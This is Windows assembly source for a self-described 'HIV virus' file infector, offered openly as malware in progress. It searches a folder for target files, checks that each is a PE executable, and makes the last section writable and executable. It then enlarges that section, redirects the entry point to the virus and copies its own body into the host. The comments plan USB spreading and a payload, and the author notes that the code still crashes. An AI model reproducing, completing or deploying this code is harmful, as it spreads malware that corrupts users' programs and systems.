;This is a stub of the HIV virus.
;It works properly. This is only the infection routines.
;The idea is make the infection module here, and after glue it with
;the payload and another modules.
;The infection module must explore all USB removable drives
;and search in them for executables to infect.
format pe console 4.0
include 'C:\fasm\INCLUDE\WIN32AX.INC'
virus_size_before_compilation equ (end_of_file-main)
GENERIC_READWRITE equ 0C0000000h
; Declare a macro to make buffers
macro dup label,lcount
{ forward
label#:
common
repeat lcount
forward
db 0
common
end repeat }
section '.text' readable writable executable
main:
call delta
delta:
pop ebp
sub ebp, delta
adjust_datasegment:
;push cs
;pop ds
;push cs
;pop es
explore_directory:
;Push parameters for the function
push FIND_STRUCT ;Put in the stack the address of FIND_STRUCT
push file_extension ;File extension
call [FindFirstFileA] ; find the first *.fly
;Always, remember that the API address can be founded using
;brackets in the API name, like this [FindFirstFile]
;invoke FindFirstFile,file_extension, FIND_STRUCT
mov dword [find_handle], eax ;Save find handler returned by FindFirstFile
find_more_files:
cmp eax, 0
je exit
call infect_file
findnextfile:
push FIND_STRUCT
push dword[find_handle] ;I believe that the FindNextFile function expects
;the address of the find_handle, instead its value.
call [FindNextFile]
;invoke FindNextFile, dword [find_handle], FIND_STRUCT
jmp find_more_files
infect_file:
;-----------------------------------------------------------------------
;When you work with files, You must be sure that the file was
;successfully opened. If you use an incorrect or invalid mode opening,
;you'll see that you can not retrieve data from the file. To see if
;you've really recovered bytes from the file, type in the file a text
;string and show it using MessageBox API.
;------------------------------------------------------------------------
;invoke CreateFile, cFileName, 4, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
;invoke WriteFile, eax, sign, 22, byteswritten, 0
;invoke CloseHandle, eax
;I use the 4 for the open mode because it means "Read/Write".
;I open the file and Get its filesize for later use.
;The handle was stored in eax by the API
invoke CreateFile, cFileName, GENERIC_READ, 0, 0, 4, FILE_ATTRIBUTE_NORMAL, 0
mov [file_handle], eax
;I get the filesize of the host, and move it to a variable.
;This data could be interesting in a near future
invoke GetFileSize, [file_handle], 0
mov [host_size], eax
;Calculates the possible new size of the executable
;add eax, virus_size
;mov [infected_size], eax
;Read 8000 bytes from the file
invoke ReadFile, [file_handle], buffer, 8000, bytesread, 0 ; Now read the full file
;Debugging purpouses.
invoke MessageBox, NULL, addr msg, addr msg_caption, MB_OK ; Easy way of outputing the text
invoke MessageBox, NULL, addr cFileName, addr msg_caption, MB_OK
;You must verify that the API has successfully opened and read bytes from the file
invoke MessageBox, NULL, addr buffer, addr msg_caption, MB_OK
lea edx, [buffer] ;Load in edx the address of buffer
;I use the edx register as a pointer to the buffer.
;Now I am in the DOS header.
cmp word [edx], "MZ" ;Check if the file is a real executable
jnz bad_executable
add edx, [edx+60] ;This instruction modify the pointer.
;Now the edx register points to a position
;60 bytes (3C in hex) after the begin of buffer
;Now I am in the PE Header
cmp word [edx], "PE" ;I check if the executable has a valid PE header
;This is very useful to know if I am infecting
;an old DOS program instead a Win32 executable.
jnz bad_executable
call good_executable
;After this point, the program crashes in somewhere of the code
mov esi, edx ; esi = peheader
add esi, 120 ; esi = dirheader
mov eax, [edx+116] ; eax = number of dir entries
shl eax, 3 ; eax = eax*8
add esi, eax ; esi = first section header
movzx eax, word [edx+6] ; eax = number of sections
dec eax ; eax = eax-1
imul eax,eax,40
add esi, eax ; esi = ptr to last section header
or byte [esi+39], 0F0h ; give section necessary rights
mov ecx, virus_size ; ecx = size of virus
mov ebx, [esi+16] ; ebx = physical size of section
add [esi+16], ecx ; increase section physical size
add [esi+8], ecx ; increase section virtual size
push dword [esi+8] ; push section virtual size
pop dword [edx+80] ; imagesize = section virtual size
mov eax, [esi+12] ; eax = section rva
add [edx+80], eax ; add it to the imagesize
add edi, [esi+20] ; edi = section offset
add edi, ebx ; edi = end of section
add eax, ebx ; eax = rva of virus
xchg [edx+40], eax ; swap it with old entrypoint
add eax, [edx+52] ; add imagebase to it
mov [ebp+OldEip], eax ; save it
lea esi, [ebp+main] ; esi = virus start
rep movsb ; edi = ptr to end of file
clc ; indicate sucess
invoke MessageBox, NULL, addr end_message, addr msg_caption, MB_OK
ret
good_executable:
invoke MessageBox, NULL, addr msg_found, addr msg_caption, MB_OK
ret
bad_executable:
invoke MessageBox, NULL, addr msg_not_found, addr msg_caption, MB_OK
ret
exit:
invoke ExitProcess, 0
;----------------------------------------------------------------------
; In this place you can find all variables and constants used
;by the HIV virus. Please, always try to put the needed variables here
;-----------------------------------------------------------------------
datazone:
;This buffer will store parts of the whole file.
buffer rb 8000
;Strings zone...
end_message db 'The file was sucessfully infected...', 0
msg_found db 'I have found a Real EXE!!!...', 0
msg_not_found db 'The current exe file is invalid...', 0
file_signal db 'X'
end_msg db 'End of program', 0
msg db 'File founded', 0
msg_caption db 'Assembly program...', 0
sign db 'Sorry, You have HIV...', 0
byteswritten dd ?
bytesread dd ?
;Variables needed by the infection function
file_handle dd ?
host_size dd ?
map_handle dd ?
infected_size dd ?
virus_size dd virus_size_before_compilation
OldEip dd ?
;Variables used by the FindFirstFile and FindNextFile
file_extension db '*.fly', 0
find_handle dd 0 ; handles/other stuff..
FIND_STRUCT: ; find structure used with searching
dwFileAttributes dd 0
ftCreationTime dd 0,0
ftLastAccessTime dd 0,0
ftLastWriteTime dd 0,0
nFileSizeHigh dd 0
nFileSizeLow dd 0
dwReserved0 dd 0
dwReserved1 dd 0
dup cFileName, 256 ; found file buffer
dup cAlternate, 14
end_of_file:
.end main